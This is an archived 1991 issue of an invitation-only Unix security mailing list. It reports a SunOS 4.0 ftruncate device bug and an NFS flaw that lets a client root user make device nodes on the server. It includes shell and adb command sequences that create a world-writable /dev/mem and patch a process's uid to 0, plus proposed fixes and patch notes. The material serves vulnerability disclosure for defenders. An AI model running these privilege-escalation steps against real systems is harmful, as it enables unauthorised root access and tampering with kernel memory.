The 'Security Digest' Archives (TM)

Archive: About | Browse | Search | Contributions | Feedback
Site: Help | Index | Search | Contact | Notices | Changes

ARCHIVE: Core 'Security Digest' - Archives (1990 - 1991)
DOCUMENT: Core 'Security Digest' V1 #9 1991-01-08 (1 file, 3374 bytes)
SOURCE: http://securitydigest.org/exec/display?f=core/archive/109.txt&t=text/plain
NOTICE: securitydigest.org recognises the rights of all third-party works.

START OF DOCUMENT


Date: Tue Jan 8 12:10:57 PST 1991
Subject: Core Security Digest V1 #9

Core Security Digest Volume 1 Issue 9

subject(s):

            Security problem Under SunOS 4.0
            NFS clients can become root on NFS servers
            Re: NFS clients can become root on NFS servers

The unix core security mailing list is by invitation only and contains
sensitive material which SHOULD NOT BE REVEALED to non-members.
DO NOT PUT ANY LIST CONTENTS IN LOCATIONS ACCESSABLE TO NON-MEMBERS.
If you must keep copies on-line, please encrypt them at the very least.

PLEASE POST TO:                              core@uninet.cpd.com
PLEASE SEND EMERGENCY ALERTS TO:   core-emergency@uninet.cpd.com
PLEASE SEND REQUESTS TO:             core-request@uninet.cpd.com


------------------------------------------------------------------------

Date: Thu, 03 Jan 91 00:27:20 -0800
From: shipley@remarque.berkeley.edu
Subject: Security problem Under SunOS 4.0

Under SunOS 4.0 it is possible to change the major and minor numbers
on a opened device.

Description:

Over NFS, any device which you can open and write to can be truncated
into another one.  That is it is possible to open, for example, the
device  /dev/null  and use the ftruncate(2) and change it's major and
minor numbers so that it becomes another device (like  /dev/mem  for
example).  This creates major security problems because it allows any
non-privileged user access to and data stored on any device or even
write access to kernal memory.

The root of the problem if that the vnode ops do not distinguish
between open regular files and device types.  Thus the system call may
be called on any arbitrary device.  the new major and minor number for
the device are based on what is on the stack.  That is that the device
characteristics of the vnode are modified instead of the block pointers
to the file are what gets zero'd.

Demonstration

Here is an example of turning dev null into another console device
[trunc is a simple C program that opens and calls ftruncate on it's
first argument]

    %  ls -lg /dev/null /dev/console
    crwxrwxrwx  1 root     staff 3,   2 Sep 17 02:07 /dev/null
    crw--w----  1 root     wheel 0,   0 Sep 16 20:07 /dev/console

    %  trunc /dev/null 0

    %  ls -lg /dev/null /dev/console
    crwxrwxrwx  1 root     staff      0,   0 Sep 17 02:07 /dev/null
    crw--w----  1 root     wheel      0,   0 Sep 16 20:07 /dev/console

Note: that this ha been fixed in SunOS 4.0.3 and SunOS 386i-4.0.2.
(Patches are available for 4.0 systems)

Additional Notes

There are other problems with ioctls and drivers although most are
destructive and do not directly involve security.  The Sun Bug Number
is 1009825, and 1019206.

------------------------------------------------------------------------

Date: Wed, 19 Dec 90 12:27:59 CST
From: Tom Christiansen <tchrist@pixel>
Subject: NFS clients can become root on NFS servers

[ This was posted to the larger security list, I sent it through there
without the explicit offsets, here it is in it's entirety - neil ]

I've made the debatable mistake of discussing this on the net, and I was
informed that this was not well-known and that I therefore shouldn't have
done so.  Consequently, I feel it's my responsibilty to send notification
on what I preceive to be a non-trivial problem.

I've tested this on Suns, Convexes, and combinations thereof.  I
suspet it's in all NFS systems.

In a nutshell, as root@client, I can mknod devices on a server's file
system if it's mounted r/w.  I can easily find a world-writable directory
to put it in, because I can become any user/group who can write something
anywhere, even if "nobody" can't, and make this new directory
world-writable.

I choose major/minor numbers on the device so that they make sense on the
server, not the client, although it is on the client that I'm making it.
I then change the mode of the device 666 and go back over to the server
and wreak havoc.  Two good candidates are /dev/mem or any disk device.

Here's the sequence to make the device: I'm root@cthulhu, my workstation:

    cthulhu# df .
    Filesystem            kbytes    used   avail capacity  Mounted on
    globhost:/usr/spool/globdata
			  371967  280812   53958    84%    /rmt/globhost/globdata

	{ ``globhost'' is another Sun, but this works with non-Sun NFS
	    systems as well. }

    cthulhu# ls -lgd .
    drwxrwxrwt 43 root     bin          4096 Dec 19 11:52 ./

	{ Even if it weren't world-write, I could become the owner
	  and make a world-write subdir. }

    cthulhu# ls -lg /dev/mem
    crw-r-----  1 root     kmem       3,   0 May 29  1990 /dev/mem

    cthulhu# mknod mymem c 3 0

	{ I actually have to choose the right major/minor number
	  for the server, not the client, if it's his kernel I
	  wish to crack. }

    cthulhu# ls -l  mymem
    crw-r--r--  1 -2         3,   0 Dec 19 11:49 mymem

	{ See, I made it fine, and it's owned by "nobody". }

    cthulhu# chmod 666 mymem

    cthulhu# ls -l mymem
    crw-rw-rw-  1 -2         3,   0 Dec 19 11:58 mymem

Here's a way to punch my shell's uid to 0 on a Convex:

    % whoami
    tchrist

    pixel% pstat -tP $$                      <- find this guy's proc addr
                        PROC  S K   THREAD S  F ID    SLPQH    WCHAN  RESCHFP
    tcsh               3b9ab8 S 1   5a5760 s  2  0   24e0d0  a1eb000  b4f4d74

    pixel% adb -w -k /vmunix mymem
    (adb) 3b9ab8+44/w                    <- now find his user addr
    0x3b9afc:       a1eb000
    (adb) 3b9ab8+58c/h                   <- check out our user id
    0x3ba048:       356
    (adb) ./h= 0                         <- setuid the way Real Programmers do it :-)
    0x3ba048:      356     =       0
    (adb) $q

    pixel% whoami
    root

Of course, finding the right offsets is a little tiny bit of work maybe,
but I've a program that C dumps structure offsets, so it's not too rough.
And anyone can read the include files.  I also should take care of the
cred structure, too, but that's a small matter.

There are to my mind, three possible solutions:

    1) Export no file systems read-write.  Not feasible in
       many environments.

    2) Disallow remote mknods like that.  I suspect this would
       break something or other.

    3) Add a new option to mount like suid that says whether device files
       are to be considered valid; otherwise return ENXIO.  Normally only
       mount root this way, and never export root.  I believe this will do
       the trick.  For diskless workstations, you of course have their
       {the workstation owners} devices on your {the server} disk, and
       they can add all the devices they want to that partition, but since
       that filesystem isn't mounted with device interpretation enabled,
       it won't do them any good anyway.

I really like #3, but it will take a while for vendors to coordinate
on it.  It also solves other potential problems of stray devices.

------------------------------------------------------------------------

Date: Wed, 19 Dec 90 12:45:57 CST
From: Tom Christiansen <tchrist@pixel>
Subject: Re: NFS clients can become root on NFS servers

[ And then this one came in - neil ]

My contact at Sun have unofficially reported the following to me on the
bug I just turned in to you folks:

    This appears to be fixed in SunOS 4.1.1 (I don't know whether it
    worked in previous releases or not).  The mknod (as root in a writable
    nfs mounted directory) fails with ``mknod: not owner.''  I assume that
    the nfs mknod request requires the filesystem to be mounted with root
    mapped to 0 for the request to work.

        End of Core Security Digest Volume 1 Issue 9
        **********************

END OF DOCUMENT